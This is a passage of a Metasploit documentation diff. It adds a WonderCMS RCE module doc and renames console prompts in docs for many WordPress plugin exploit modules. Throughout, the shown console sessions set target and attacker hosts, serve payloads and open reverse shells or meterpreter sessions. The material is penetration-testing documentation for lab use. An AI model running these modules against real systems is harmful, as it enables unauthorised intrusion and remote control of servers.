repo: `git clone https://github.com/mablanco/docker-wondercms.git` +2. Inside the `Dockerfile` set the version to a vulnerable version: `ARG WONDERCMS_VERSION=3.4.0` +3. Build the image: ` docker build -t 3.4.0 .` +4. Run the container: `docker run -d -p 8980:80 --name wondercms 3.4.0` + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use multi/http/wondercms_rce` +4. Do: `set PASSWORD [password]` +5. Do: `set RHOST [WonderCMS IP] +6. Do: `set SRVHOST [attacker IP to host payload]` +7. Do: `set LHOST [attacker IP]` +8. Do: `set LPORT [attacker PORT]` +9. Do: `run` +10. You should get a shell. + +## Options + +### PASSWORD + +WonderCMS uses a global password that generated at the application's first run. This is global admin password that controls the whole CMS. This password has to be used in the exploit to get authenticated access. + +## Scenarios + +``` +msf exploit(multi/http/wondercms_rce) > set LHOST 192.168.168.152 +LHOST => 192.168.168.152 +msf exploit(multi/http/wondercms_rce) > set LPORT 4444 +LPORT => 4444 +msf exploit(multi/http/wondercms_rce) > exploit +[*] Exploit running as background job 28. +[*] Exploit completed, but no session was created. +msf exploit(multi/http/wondercms_rce) > +[*] Started reverse TCP handler on 192.168.168.152:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Target is probably WonderCMS.. +[+] The target is vulnerable. Version 3.4.2 is affected +[*] Using URL: http://192.168.168.152:8082/81k4.zip +[*] Received request, sending payload.. +[*] Server stopped. +[*] Command shell session 5 opened (192.168.168.152:4444 -> 192.168.168.146:37068) at 2025-04-25 14:46:20 +0200 + +msf exploit(multi/http/wondercms_rce) > sessions 5 +[*] Starting interaction with 5... + +whoami +www-data +id +uid=33(www-data) gid=33(www-data) groups=33(www-data) +``` + diff --git a/documentation/modules/exploit/multi/http/wp_automatic_sqli_to_rce.md b/documentation/modules/exploit/multi/http/wp_automatic_sqli_to_rce.md index 79b4a113c5f2a..be7c36f045d35 100644 --- a/documentation/modules/exploit/multi/http/wp_automatic_sqli_to_rce.md +++ b/documentation/modules/exploit/multi/http/wp_automatic_sqli_to_rce.md @@ -129,7 +129,7 @@ installation running **wp-automatic <= 3.92.0** on a Docker environment with MyS 1. **PHP Meterpreter (ARCH_PHP) (php/meterpreter/reverse_tcp)**: ```bash -msf6 exploit(multi/http/wp_automatic_sqli_to_rce) > options +msf exploit(multi/http/wp_automatic_sqli_to_rce) > options Module options (exploit/multi/http/wp_automatic_sqli_to_rce): @@ -165,7 +165,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/wp_automatic_sqli_to_rce) > run http://127.0.0.1:5555 +msf exploit(multi/http/wp_automatic_sqli_to_rce) > run http://127.0.0.1:5555 [*] Started reverse TCP handler on 192.168.1.36:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -194,7 +194,7 @@ meterpreter > 2. **Linux Command Shell (ARCH_CMD) (cmd/linux/http/x64/meterpreter/reverse_tcp)**: ```bash -msf6 exploit(multi/http/wp_automatic_sqli_to_rce) > run http://127.0.0.1:5555 +msf exploit(multi/http/wp_automatic_sqli_to_rce) > run http://127.0.0.1:5555 [*] Started reverse TCP handler on 192.168.1.36:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md b/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md index fe46fbc22342a..34e784bc70ff4 100644 --- a/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md +++ b/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md @@ -71,12 +71,12 @@ No options Using `php/meterpreter/reverse_tcp`: ``` -msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rhosts 192.168.1.36 +msf exploit(multi/http/wp_backup_migration_php_filter) > set rhosts 192.168.1.36 rhosts => 192.168.1.36 -msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rport 5555 +msf exploit(multi/http/wp_backup_migration_php_filter) > set rport 5555 rport => 5555 -msf6 exploit(multi/http/wp_backup_migration_php_filter) > options +msf exploit(multi/http/wp_backup_migration_php_filter) > options Module options (exploit/multi/http/wp_backup_migration_php_filter): @@ -105,7 +105,7 @@ Exploit target: 0 PHP In-Memory -msf6 exploit(multi/http/wp_backup_migration_php_filter) > exploit +msf exploit(multi/http/wp_backup_migration_php_filter) > exploit [*] Started reverse TCP handler on 192.168.1.36:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -128,7 +128,7 @@ meterpreter > Using `cmd/linux/http/x64/meterpreter/reverse_tcp`: ``` -msf6 exploit(multi/http/wp_backup_migration_php_filter) > exploit +msf exploit(multi/http/wp_backup_migration_php_filter) > exploit [*] Started reverse TCP handler on 192.168.1.36:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/wp_bricks_builder_rce.md b/documentation/modules/exploit/multi/http/wp_bricks_builder_rce.md index c2d5f6518c3e3..a9745171f0cd6 100644 --- a/documentation/modules/exploit/multi/http/wp_bricks_builder_rce.md +++ b/documentation/modules/exploit/multi/http/wp_bricks_builder_rce.md @@ -59,7 +59,7 @@ exploit With `cmd/linux/http/x64/meterpreter/reverse_tcp`: ``` -msf6 > search bricks +msf > search bricks Matching Modules ================ @@ -71,9 +71,9 @@ Matching Modules Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/wp_bricks_builder_rce -msf6 > use 0 +msf > use 0 [*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/wp_bricks_builder_rce) > options +msf exploit(multi/http/wp_bricks_builder_rce) > options Module options (exploit/multi/http/wp_bricks_builder_rce): @@ -113,14 +113,14 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/wp_bricks_builder_rce) > set ssl false +msf exploit(multi/http/wp_bricks_builder_rce) > set ssl false [!] Changing the SSL option's value may require changing RPORT! ssl => false -msf6 exploit(multi/http/wp_bricks_builder_rce) > set rhosts localhost +msf exploit(multi/http/wp_bricks_builder_rce) > set rhosts localhost rhosts => localhost -msf6 exploit(multi/http/wp_bricks_builder_rce) > set rport 8888 +msf exploit(multi/http/wp_bricks_builder_rce) > set rport 8888 rport => 8888 -msf6 exploit(multi/http/wp_bricks_builder_rce) > exploit +msf exploit(multi/http/wp_bricks_builder_rce) > exploit [*] Started reverse TCP handler on 192.168.1.5:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -141,9 +141,9 @@ meterpreter > With `php/meterpreter/reverse_tcp`: ``` -msf6 exploit(multi/http/wp_bricks_builder_rce) > set payload php/meterpreter/reverse_tcp +msf exploit(multi/http/wp_bricks_builder_rce) > set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp -msf6 exploit(multi/http/wp_bricks_builder_rce) > exploit +msf exploit(multi/http/wp_bricks_builder_rce) > exploit [*] Started reverse TCP handler on 192.168.1.5:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/wp_crop_rce.md b/documentation/modules/exploit/multi/http/wp_crop_rce.md index 15e084c29de93..0ce2bca4feac5 100644 --- a/documentation/modules/exploit/multi/http/wp_crop_rce.md +++ b/documentation/modules/exploit/multi/http/wp_crop_rce.md @@ -35,14 +35,14 @@ the theme cannot be auto-detected. ### Ubuntu 18.04 running WordPress 4.9.8 ``` -msf5 > use exploit/multi/http/wp_crop_rce -msf5 exploit(multi/http/wp_crop_rce) > set rhosts 127.0.0.1 +msf > use exploit/multi/http/wp_crop_rce +msf exploit(multi/http/wp_crop_rce) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf5 exploit(multi/http/wp_crop_rce) > set username author +msf exploit(multi/http/wp_crop_rce) > set username author username => author -msf5 exploit(multi/http/wp_crop_rce) > set password author +msf exploit(multi/http/wp_crop_rce) > set password author password => author -msf5 exploit(multi/http/wp_crop_rce) > run +msf exploit(multi/http/wp_crop_rce) > run [*] Started reverse TCP handler on 127.0.0.1:4444 [*] Authenticating with WordPress using author:author... diff --git a/documentation/modules/exploit/multi/http/wp_db_backup_rce.md b/documentation/modules/exploit/multi/http/wp_db_backup_rce.md index a3dde99ffcc3f..ba8593f67fcd8 100644 --- a/documentation/modules/exploit/multi/http/wp_db_backup_rce.md +++ b/documentation/modules/exploit/multi/http/wp_db_backup_rce.md @@ -30,17 +30,17 @@ ### Tested on wp-database-backup v4.6.5 running Wordpress 5.1 on Ubuntu 18.04 ``` - msf5 exploit(multi/http/wp_db_backup_rce) > set target 1 + msf exploit(multi/http/wp_db_backup_rce) > set target 1 target => 1 - msf5 exploit(multi/http/wp_db_backup_rce) > set rhosts 192.168.37.147 + msf exploit(multi/http/wp_db_backup_rce) > set rhosts 192.168.37.147 rhosts => 192.168.37.147 - msf5 exploit(multi/http/wp_db_backup_rce) > set payload linux/x86/meterpreter/reverse_tcp + msf exploit(multi/http/wp_db_backup_rce) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp - msf5 exploit(multi/http/wp_db_backup_rce) > check + msf exploit(multi/http/wp_db_backup_rce) > check [*] Version of wp-database-backup detected: 4.6 [*] 192.168.37.147:80 - The target appears to be vulnerable. - msf5 exploit(multi/http/wp_db_backup_rce) > run + msf exploit(multi/http/wp_db_backup_rce) > run [*] Started reverse TCP handler on 192.168.37.1:4444 [+] Reached the wp-database-backup settings page @@ -64,22 +64,22 @@ ### Tested on wp-database-backup v4.6.5 running Wordpress 5.2 on Windows 10 ``` - msf5 > use exploit/multi/http/wp_db_backup_rce - msf5 exploit(multi/http/wp_db_backup_rce) > set rhosts 192.168.37.144 + msf > use exploit/multi/http/wp_db_backup_rce + msf exploit(multi/http/wp_db_backup_rce) > set rhosts 192.168.37.144 rhosts => 192.168.37.144 - msf5 exploit(multi/http/wp_db_backup_rce) > set payload windows/x64/meterpreter/reverse_tcp + msf exploit(multi/http/wp_db_backup_rce) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp - msf5 exploit(multi/http/wp_db_backup_rce) > set username user + msf exploit(multi/http/wp_db_backup_rce) > set username user username => user - msf5 exploit(multi/http/wp_db_backup_rce) > set password password + msf exploit(multi/http/wp_db_backup_rce) > set password password password => password - msf5 exploit(multi/http/wp_db_backup_rce) > set lhost 192.168.37.1 + msf exploit(multi/http/wp_db_backup_rce) > set lhost 192.168.37.1 lhost => 192.168.37.1 - msf5 exploit(multi/http/wp_db_backup_rce) > check + msf exploit(multi/http/wp_db_backup_rce) > check [*] Version of wp-database-backup detected: 4.6 [*] 192.168.37.144:80 - The target appears to be vulnerable. - msf5 exploit(multi/http/wp_db_backup_rce) > run + msf exploit(multi/http/wp_db_backup_rce) > run [*] Started reverse TCP handler on 192.168.37.1:4444 [+] Reached the wp-database-backup settings page diff --git a/documentation/modules/exploit/multi/http/wp_file_manager_rce.md b/documentation/modules/exploit/multi/http/wp_file_manager_rce.md index 8484b0ffc0862..8553a72c9d892 100644 --- a/documentation/modules/exploit/multi/http/wp_file_manager_rce.md +++ b/documentation/modules/exploit/multi/http/wp_file_manager_rce.md @@ -31,15 +31,15 @@ This option has 2 valid values: ### Docker container, WordPress 5.5.1, File Manager plugin version 6.0, default path for File Manager, default payload, using `upload` ``` -msf6 > use exploit/multi/http/wp_file_manager_rce +msf > use exploit/multi/http/wp_file_manager_rce [*] No payload configured, defaulting to php/meterpreter/reverse_tcp -msf6 exploit(multi/http/wp_file_manager_rce) > set RHOSTS 127.0.0.1 +msf exploit(multi/http/wp_file_manager_rce) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 -msf6 exploit(multi/http/wp_file_manager_rce) > set RPORT 8080 +msf exploit(multi/http/wp_file_manager_rce) > set RPORT 8080 RPORT => 8080 -msf6 exploit(multi/http/wp_file_manager_rce) > set VERBOSE true +msf exploit(multi/http/wp_file_manager_rce) > set VERBOSE true VERBOSE => true -msf6 exploit(multi/http/wp_file_manager_rce) > exploit +msf exploit(multi/http/wp_file_manager_rce) > exploit [*] Started reverse TCP handler on 192.168.137.128:4444 [*] Checking /wp-content/plugins/wp-file-manager/readme.txt @@ -59,15 +59,15 @@ meterpreter > ### Docker container, WordPress 5.5.1, File Manager plugin version 6.0, default path for File Manager, `php/reverse_php` payload, using `upload` ``` -msf6 exploit(multi/http/wp_file_manager_rce) > set RHOSTS 127.0.0.1 +msf exploit(multi/http/wp_file_manager_rce) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 -msf6 exploit(multi/http/wp_file_manager_rce) > set RPORT 8080 +msf exploit(multi/http/wp_file_manager_rce) > set RPORT 8080 RPORT => 8080 -msf6 exploit(multi/http/wp_file_manager_rce) > set VERBOSE true +msf exploit(multi/http/wp_file_manager_rce) > set VERBOSE true VERBOSE => true -msf6 exploit(multi/http/wp_file_manager_rce) > set PAYLOAD php/reverse_php +msf exploit(multi/http/wp_file_manager_rce) > set PAYLOAD php/reverse_php PAYLOAD => php/reverse_php -msf6 exploit(multi/http/wp_file_manager_rce) > exploit +msf exploit(multi/http/wp_file_manager_rce) > exploit [*] Started reverse TCP handler on 192.168.137.128:4444 [*] Checking /wp-content/plugins/wp-file-manager/readme.txt @@ -83,17 +83,17 @@ www-data ### Docker container, WordPress 5.5.1, File Manager plugin version 6.0, default path for File Manager, default payload, using `mkfile+put` ``` -msf6 > use multi/http/wp_file_manager_rce +msf > use multi/http/wp_file_manager_rce [*] Using configured payload php/meterpreter/reverse_tcp -msf6 exploit(multi/http/wp_file_manager_rce) > set RHOSTS 127.0.0.1 +msf exploit(multi/http/wp_file_manager_rce) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 -msf6 exploit(multi/http/wp_file_manager_rce) > set RPORT 8080 +msf exploit(multi/http/wp_file_manager_rce) > set RPORT 8080 RPORT => 8080 -msf6 exploit(multi/http/wp_file_manager_rce) > set VERBOSE true +msf exploit(multi/http/wp_file_manager_rce) > set VERBOSE true VERBOSE => true -msf6 exploit(multi/http/wp_file_manager_rce) > set COMMAND mkfile+put +msf exploit(multi/http/wp_file_manager_rce) > set COMMAND mkfile+put COMMAND => mkfile+put -msf6 exploit(multi/http/wp_file_manager_rce) > exploit +msf exploit(multi/http/wp_file_manager_rce) > exploit [*] Started reverse TCP handler on 192.168.137.128:4444 [*] Checking /wp-content/plugins/wp-file-manager/readme.txt @@ -113,15 +113,15 @@ meterpreter > ### Docker container, WordPress 5.5.1, File Manager plugin version 6.0, default path for File Manager, `php/reverse_php` payload, using `mkfile+put` ``` -msf6 exploit(multi/http/wp_file_manager_rce) > set RHOSTS 127.0.0.1 +msf exploit(multi/http/wp_file_manager_rce) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 -msf6 exploit(multi/http/wp_file_manager_rce) > set RPORT 8080 +msf exploit(multi/http/wp_file_manager_rce) > set RPORT 8080 RPORT => 8080 -msf6 exploit(multi/http/wp_file_manager_rce) > set PAYLOAD php/reverse_php +msf exploit(multi/http/wp_file_manager_rce) > set PAYLOAD php/reverse_php PAYLOAD => php/reverse_php -msf6 exploit(multi/http/wp_file_manager_rce) > set COMMAND mkfile+put +msf exploit(multi/http/wp_file_manager_rce) > set COMMAND mkfile+put COMMAND => mkfile+put -msf6 exploit(multi/http/wp_file_manager_rce) > exploit +msf exploit(multi/http/wp_file_manager_rce) > exploit [*] Started reverse TCP handler on 192.168.137.128:4444 [*] Checking /wp-content/plugins/wp-file-manager/readme.txt @@ -133,4 +133,4 @@ uname -a Linux 6fc94cd81e93 5.8.0-kali1-amd64 #1 SMP Debian 5.8.7-1kali1 (2020-09-14) x86_64 GNU/Linux whoami www-data -``` \ No newline at end of file +``` diff --git a/documentation/modules/exploit/multi/http/wp_givewp_rce.md b/documentation/modules/exploit/multi/http/wp_givewp_rce.md index 7e6ce6246214a..d1794917e47fe 100644 --- a/documentation/modules/exploit/multi/http/wp_givewp_rce.md +++ b/documentation/modules/exploit/multi/http/wp_givewp_rce.md @@ -74,7 +74,7 @@ No specific options need to be configured. Using `cmd/linux/http/x64/meterpreter/reverse_tcp`: ```bash -msf6 exploit(multi/http/wp_givewp_rce) > run http://127.0.0.1:5555 +msf exploit(multi/http/wp_givewp_rce) > run http://127.0.0.1:5555 [*] Started reverse TCP handler on 192.168.1.36:1337 [*] Running automatic check ("set AutoCheck false" to disable) @@ -99,7 +99,7 @@ meterpreter > ### GiveWP Plugin version: 3.16.1 (Dockerized WordPress Version 6.5.3) ```bash -msf6 exploit(multi/http/wp_givewp_rce) > run http://127.0.0.1:5555 +msf exploit(multi/http/wp_givewp_rce) > run http://127.0.0.1:5555 [*] Started reverse TCP handler on 192.168.1.36:1337 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/wp_hash_form_rce.md b/documentation/modules/exploit/multi/http/wp_hash_form_rce.md index 4d508562b5c80..d5974e04984f2 100644 --- a/documentation/modules/exploit/multi/http/wp_hash_form_rce.md +++ b/documentation/modules/exploit/multi/http/wp_hash_form_rce.md @@ -52,7 +52,7 @@ exploit With `php/meterpreter/reverse_tcp` ``` -msf6 > search wp_hash_form_rce +msf > search wp_hash_form_rce Matching Modules ================ @@ -69,9 +69,9 @@ Matching Modules Interact with a module by name or index. For example info 4, use 4 or use exploit/multi/http/wp_hash_form_rce After interacting with a module you can manually set a TARGET with set TARGET 'Windows Command Shell' -msf6 > use 0 +msf > use 0 [*] No payload configured, defaulting to php/meterpreter/reverse_tcp -msf6 exploit(multi/http/wp_hash_form_rce) > options +msf exploit(multi/http/wp_hash_form_rce) > options Module options (exploit/multi/http/wp_hash_form_rce): @@ -103,11 +103,11 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/wp_hash_form_rce) > set rhosts 127.0.0.1 +msf exploit(multi/http/wp_hash_form_rce) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 exploit(multi/http/wp_hash_form_rce) > set rport 8080 +msf exploit(multi/http/wp_hash_form_rce) > set rport 8080 rport => 8080 -msf6 exploit(multi/http/wp_hash_form_rce) > exploit +msf exploit(multi/http/wp_hash_form_rce) > exploit [*] Started reverse TCP handler on 192.168.1.36:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -130,7 +130,7 @@ Meterpreter : php/linux With `cmd/linux/http/x64/meterpreter/reverse_tcp`: ``` -msf6 exploit(multi/http/wp_hash_form_rce) > options +msf exploit(multi/http/wp_hash_form_rce) > options Module options (exploit/multi/http/wp_hash_form_rce): @@ -169,7 +169,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/wp_hash_form_rce) > exploit +msf exploit(multi/http/wp_hash_form_rce) > exploit [*] Started reverse TCP handler on 192.168.1.36:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/wp_litespeed_cookie_theft.md b/documentation/modules/exploit/multi/http/wp_litespeed_cookie_theft.md index 4a04c77bc008d..d0597a8c89ef1 100644 --- a/documentation/modules/exploit/multi/http/wp_litespeed_cookie_theft.md +++ b/documentation/modules/exploit/multi/http/wp_litespeed_cookie_theft.md @@ -60,7 +60,7 @@ Sign out of WordPress and when you reauthenticate your admin cookie will be logg ### ARCH_PHP Target - LiteSpeed Cache 6.3 - WordPress 6.4.3 ``` -msf6 exploit(multi/http/wp_litespeed_cookie_theft) > run +msf exploit(multi/http/wp_litespeed_cookie_theft) > run [*] Started reverse TCP handler on 192.168.1.67:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -86,7 +86,7 @@ Meterpreter : php/linux ### ARCH_CMD Target - LiteSpeed Cache 6.3 - WordPress 6.4.3 ``` -msf6 exploit(multi/http/wp_litespeed_cookie_theft) > run +msf exploit(multi/http/wp_litespeed_cookie_theft) > run [*] Started reverse TCP handler on 192.168.1.67:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/wp_plugin_backup_guard_rce.md b/documentation/modules/exploit/multi/http/wp_plugin_backup_guard_rce.md index 3653f3369c3f4..fed571b380321 100644 --- a/documentation/modules/exploit/multi/http/wp_plugin_backup_guard_rce.md +++ b/documentation/modules/exploit/multi/http/wp_plugin_backup_guard_rce.md @@ -43,15 +43,15 @@ This module was successfully tested on Debian 10 with Wordpress 5.7.2 and Backup See the following output : ``` -msf6 > use wordpress_plugin_backup_guard_rce +msf > use wordpress_plugin_backup_guard_rce [*] No payload configured, defaulting to php/meterpreter/reverse_tcp -msf6 exploit(wordpress_plugin_backup_guard_rce) > set username admin +msf exploit(wordpress_plugin_backup_guard_rce) > set username admin username => admin -msf6 exploit(wordpress_plugin_backup_guard_rce) > set password your_best_password +msf exploit(wordpress_plugin_backup_guard_rce) > set password your_best_password password => your_best_password -msf6 exploit(wordpress_plugin_backup_guard_rce) > set rhosts 192.168.37.1 +msf exploit(wordpress_plugin_backup_guard_rce) > set rhosts 192.168.37.1 rhosts => 192.168.37.1 -msf6 exploit(wordpress_plugin_backup_guard_rce) > run +msf exploit(wordpress_plugin_backup_guard_rce) > run [*] Started reverse TCP handler on 192.168.37.133:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/multi/http/wp_plugin_elementor_auth_upload_rce.md b/documentation/modules/exploit/multi/http/wp_plugin_elementor_auth_upload_rce.md index a8c159046e754..9ebfe52436d0a 100644 --- a/documentation/modules/exploit/multi/http/wp_plugin_elementor_auth_upload_rce.md +++ b/documentation/modules/exploit/multi/http/wp_plugin_elementor_auth_upload_rce.md @@ -49,7 +49,7 @@ resource (elementor.rb)> set password user password => user resource (elementor.rb)> set verbose true verbose => true -msf6 exploit(multi/http/wp_plugin_elementor_auth_upload_rce) > run +msf exploit(multi/http/wp_plugin_elementor_auth_upload_rce) > run [*] Started reverse TCP handler on 1.1.1.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/wp_plugin_fma_shortcode_unauth_rce.md b/documentation/modules/exploit/multi/http/wp_plugin_fma_shortcode_unauth_rce.md index f8e8daccf356d..f2edda52cb877 100644 --- a/documentation/modules/exploit/multi/http/wp_plugin_fma_shortcode_unauth_rce.md +++ b/documentation/modules/exploit/multi/http/wp_plugin_fma_shortcode_unauth_rce.md @@ -130,7 +130,7 @@ List the steps needed to make sure this thing works - [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings ``` -msf6 exploit(multi/http/wp_plugin_fma_shortcode_unauth_rce) > info +msf exploit(multi/http/wp_plugin_fma_shortcode_unauth_rce) > info Name: Wordpress File Manager Advanced Shortcode 2.3.2 - Unauthenticated Remote Code Execution through shortcode Module: exploit/multi/http/wp_plugin_fma_shortcode_unauth_rce @@ -235,7 +235,7 @@ For the native PHP target, by default the `eval()` function will be used for nat ## Scenarios ### Windows Server 2019 PHP - php/meterpreter/reverse_tcp ``` -msf6 exploit(multi/http/wp_plugin_fma_shortcode_unauth_rce) > exploit +msf exploit(multi/http/wp_plugin_fma_shortcode_unauth_rce) > exploit [*] Started reverse TCP handler on 192.168.201.10:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -255,7 +255,7 @@ meterpreter > ``` ### Kali Linux Server Unix Command - cmd/unix/reverse_bash ``` -msf6 exploit(multi/http/wp_plugin_fma_shortcode_unauth_rce) > exploit +msf exploit(multi/http/wp_plugin_fma_shortcode_unauth_rce) > exploit [*] Started reverse TCP handler on 192.168.201.10:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -271,7 +271,7 @@ uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ### Kali Linux Server Linux Dropper - linux/aarch64/meterpreter_reverse_tcp ``` -msf6 exploit(multi/http/wp_plugin_fma_shortcode_unauth_rce) > exploit +msf exploit(multi/http/wp_plugin_fma_shortcode_unauth_rce) > exploit [*] Started reverse TCP handler on 192.168.201.10:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -297,7 +297,7 @@ meterpreter > ``` ### Windows Server 2019 Windows Command - cmd/windows/powershell/x64/meterpreter/reverse_tcp ``` -msf6 exploit(multi/http/wp_plugin_fma_shortcode_unauth_rce) > exploit +msf exploit(multi/http/wp_plugin_fma_shortcode_unauth_rce) > exploit [*] Started reverse TCP handler on 192.168.201.10:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -321,7 +321,7 @@ meterpreter > ``` ### Windows Server 2019 Windows Dropper - windows/x64/meterpreter/reverse_tcp ``` -msf6 exploit(multi/http/wp_plugin_fma_shortcode_unauth_rce) > exploit +msf exploit(multi/http/wp_plugin_fma_shortcode_unauth_rce) > exploit [*] Started reverse TCP handler on 192.168.201.10:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/wp_plugin_modern_events_calendar_rce.md b/documentation/modules/exploit/multi/http/wp_plugin_modern_events_calendar_rce.md index b3ba3e8f45051..98fbe9278a619 100644 --- a/documentation/modules/exploit/multi/http/wp_plugin_modern_events_calendar_rce.md +++ b/documentation/modules/exploit/multi/http/wp_plugin_modern_events_calendar_rce.md @@ -42,15 +42,15 @@ This module was successfully tested on Debian 10 with Wordpress 5.7.2 and Modern See the following output : ``` -msf6 > use wp_plugin_modern_events_calendar_rce +msf > use wp_plugin_modern_events_calendar_rce [*] No payload configured, defaulting to php/meterpreter/reverse_tcp -msf6 exploit(wp_plugin_modern_events_calendar_rce) > set rhost 192.168.1.12 +msf exploit(wp_plugin_modern_events_calendar_rce) > set rhost 192.168.1.12 rhost => 192.168.1.12 -msf6 exploit(wp_plugin_modern_events_calendar_rce) > set username admin +msf exploit(wp_plugin_modern_events_calendar_rce) > set username admin username => admin -msf6 exploit(wp_plugin_modern_events_calendar_rce) > set password my_best_password +msf exploit(wp_plugin_modern_events_calendar_rce) > set password my_best_password password => my_best_password -msf6 exploit(wp_plugin_modern_events_calendar_rce) > run +msf exploit(wp_plugin_modern_events_calendar_rce) > run [*] Started reverse TCP handler on 192.168.1.35:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/multi/http/wp_plugin_sp_project_document_rce.md b/documentation/modules/exploit/multi/http/wp_plugin_sp_project_document_rce.md index bd62debab4a90..628a2efc86967 100644 --- a/documentation/modules/exploit/multi/http/wp_plugin_sp_project_document_rce.md +++ b/documentation/modules/exploit/multi/http/wp_plugin_sp_project_document_rce.md @@ -42,15 +42,15 @@ This module was successfully tested on Debian 10 with Wordpress 5.7.2 and SP Pro See the following output : ``` -msf6 > use wordpress_plugin_sp_project_document_manager +msf > use wordpress_plugin_sp_project_document_manager [*] Using configured payload php/meterpreter/reverse_tcp -msf6 exploit(wordpress_plugin_sp_project_document_manager) > set rhost 192.168.1.35 +msf exploit(wordpress_plugin_sp_project_document_manager) > set rhost 192.168.1.35 rhost => 192.168.1.35 -msf6 exploit(wordpress_plugin_sp_project_document_manager) > set username admin +msf exploit(wordpress_plugin_sp_project_document_manager) > set username admin username => admin -msf6 exploit(wordpress_plugin_sp_project_document_manager) > set password your_best_password +msf exploit(wordpress_plugin_sp_project_document_manager) > set password your_best_password password => your_best_password -msf6 exploit(wordpress_plugin_sp_project_document_manager) > run +msf exploit(wordpress_plugin_sp_project_document_manager) > run [*] Started reverse TCP handler on 192.168.1.28:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/multi/http/wp_reallysimplessl_2fa_bypass_rce.md b/documentation/modules/exploit/multi/http/wp_reallysimplessl_2fa_bypass_rce.md index b4d9ad3ad1374..8d8ba163263f7 100644 --- a/documentation/modules/exploit/multi/http/wp_reallysimplessl_2fa_bypass_rce.md +++ b/documentation/modules/exploit/multi/http/wp_reallysimplessl_2fa_bypass_rce.md @@ -119,7 +119,7 @@ The user ID to target for 2FA bypass (default: 1) ### Example 1: PHP Meterpreter (ARCH_PHP) ```bash -msf6 exploit(multi/http/wp_reallysimplessl_2fa_bypass_rce) > run http://127.0.0.1:5555 +msf exploit(multi/http/wp_reallysimplessl_2fa_bypass_rce) > run http://127.0.0.1:5555 [*] Started reverse TCP handler on 192.168.1.36:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -144,7 +144,7 @@ meterpreter > ### Example 2: Linux Command Shell (ARCH_CMD) ```bash -msf6 exploit(multi/http/wp_reallysimplessl_2fa_bypass_rce) > run http://127.0.0.1:5555 +msf exploit(multi/http/wp_reallysimplessl_2fa_bypass_rce) > run http://127.0.0.1:5555 [*] Started reverse TCP handler on 192.168.1.36:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/wp_responsive_thumbnail_slider_upload.md b/documentation/modules/exploit/multi/http/wp_responsive_thumbnail_slider_upload.md index 10d3832cd98ce..3034579449d88 100644 --- a/documentation/modules/exploit/multi/http/wp_responsive_thumbnail_slider_upload.md +++ b/documentation/modules/exploit/multi/http/wp_responsive_thumbnail_slider_upload.md @@ -23,18 +23,18 @@ ### Test on Windows 7 x86 running WordPress v4.9.7 ``` - msf5 > use exploit/multi/http/wp_responsive_thumbnail_slider_upload - msf5 exploit(multi/http/wp_responsive_thumbnail_slider_upload) > set rhosts 192.168.37.165 + msf > use exploit/multi/http/wp_responsive_thumbnail_slider_upload + msf exploit(multi/http/wp_responsive_thumbnail_slider_upload) > set rhosts 192.168.37.165 rhosts => 192.168.37.165 - msf5 exploit(multi/http/wp_responsive_thumbnail_slider_upload) > set targeturi wordpress + msf exploit(multi/http/wp_responsive_thumbnail_slider_upload) > set targeturi wordpress targeturi => wordpress - msf5 exploit(multi/http/wp_responsive_thumbnail_slider_upload) > set username test + msf exploit(multi/http/wp_responsive_thumbnail_slider_upload) > set username test username => test - msf5 exploit(multi/http/wp_responsive_thumbnail_slider_upload) > set password password + msf exploit(multi/http/wp_responsive_thumbnail_slider_upload) > set password password password => password - msf5 